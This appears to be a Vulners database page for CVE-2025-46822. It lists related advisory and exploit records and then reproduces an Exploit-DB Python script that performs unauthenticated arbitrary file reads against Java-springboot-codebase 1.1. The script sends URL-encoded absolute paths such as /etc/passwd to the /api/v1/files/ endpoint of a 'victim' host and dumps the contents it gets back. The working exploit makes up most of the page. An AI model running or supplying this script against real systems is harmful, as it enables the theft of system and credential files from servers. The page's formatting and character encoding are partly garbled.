| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| Exploit for CVE-2025-46822 | 23 May 202510:26 | โ | githubexploit | |
| Exploit for CVE-2025-46822 | 23 May 202603:14 | โ | githubexploit | |
| CVE-2025-46822 | 21 May 202517:43 | โ | circl | |
| Java-springboot-codebase ไฟกๆฏๆณ้ฒๆผๆด | 21 May 202500:00 | โ | cnnvd | |
| CVE-2025-46822 | 21 May 202517:23 | โ | cve | |
| CVE-2025-46822 Unauthenticated Arbitrary File Read via Absolute Path | 21 May 202517:23 | โ | cvelist | |
| Java-springboot-codebase 1.1 - Arbitrary File Read | 25 May 202500:00 | โ | exploitdb | |
| Java-springboot-codebase 1.1 - Arbitrary File Read | 3 Jun 202606:04 | โ | nuclei | |
| CVE-2025-46822 | 21 May 202518:15 | โ | nvd | |
| Generic HTTP Directory Traversal / File Inclusion (Web Dirs) - Active Check | 22 Jul 202100:00 | โ | openvas |
# Exploit Title: Java-springboot-codebase 1.1 - Arbitrary File Read
# Google Dork:
# Date: 23/May/2025
# Exploit Author: d3sca
# Vendor Homepage: https://github.com/OsamaTaher/Java-springboot-codebase
# Software Link: https://github.com/OsamaTaher/Java-springboot-codebase
# Version: [app version] 1.1
# Tested on: Debian Linux
# CVE : CVE-2025-46822
#usage: python3 cve-2025-46822.py http://victim.com /etc/passwd
import argparse
import requests
from urllib.parse import quote
def exploit(target, file_path, output=None):
# Ensure the file path is absolute
if not file_path.startswith('/'):
print("[!] Warning: File path is not absolute. Prepending '/' to make it absolute.")
file_path = '/' + file_path.lstrip('/')
# URL-encode the file path
encoded_path = quote(file_path, safe='')
# Construct the target URL
endpoint = f"/api/v1/files/{encoded_path}"
url = target.rstrip('/') + endpoint
print(f"[*] Attempting to retrieve: {file_path}")
print(f"[*] Sending request to: {url}")
try:
response = requests.get(url, allow_redirects=False, timeout=10)
if response.status_code == 200:
print("[+] File retrieved successfully!")
if output:
with open(output, 'wb') as f:
f.write(response.content)
print(f"[+] Content saved to: {output}")
else:
print("\nFile contents:")
print(response.text)
else:
print(f"[-] Failed to retrieve file. Status code: {response.status_code}")
print(f"[-] Response: {response.text[:200]}") # Show first 200 chars of response
except Exception as e:
print(f"[-] An error occurred: {str(e)}")
if name == "main":
parser = argparse.ArgumentParser(description="Exploit Path Traversal Vulnerability in Unauthenticated File API")
parser.add_argument("target", help="Target base URL (e.g., http://victim:8080)")
parser.add_argument("file_path", help="Absolute path to target file (e.g., /etc/passwd)")
parser.add_argument("-o", "--output", help="Output file to save contents")
args = parser.parse_args()
exploit(args.target, args.file_path, args.output)Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation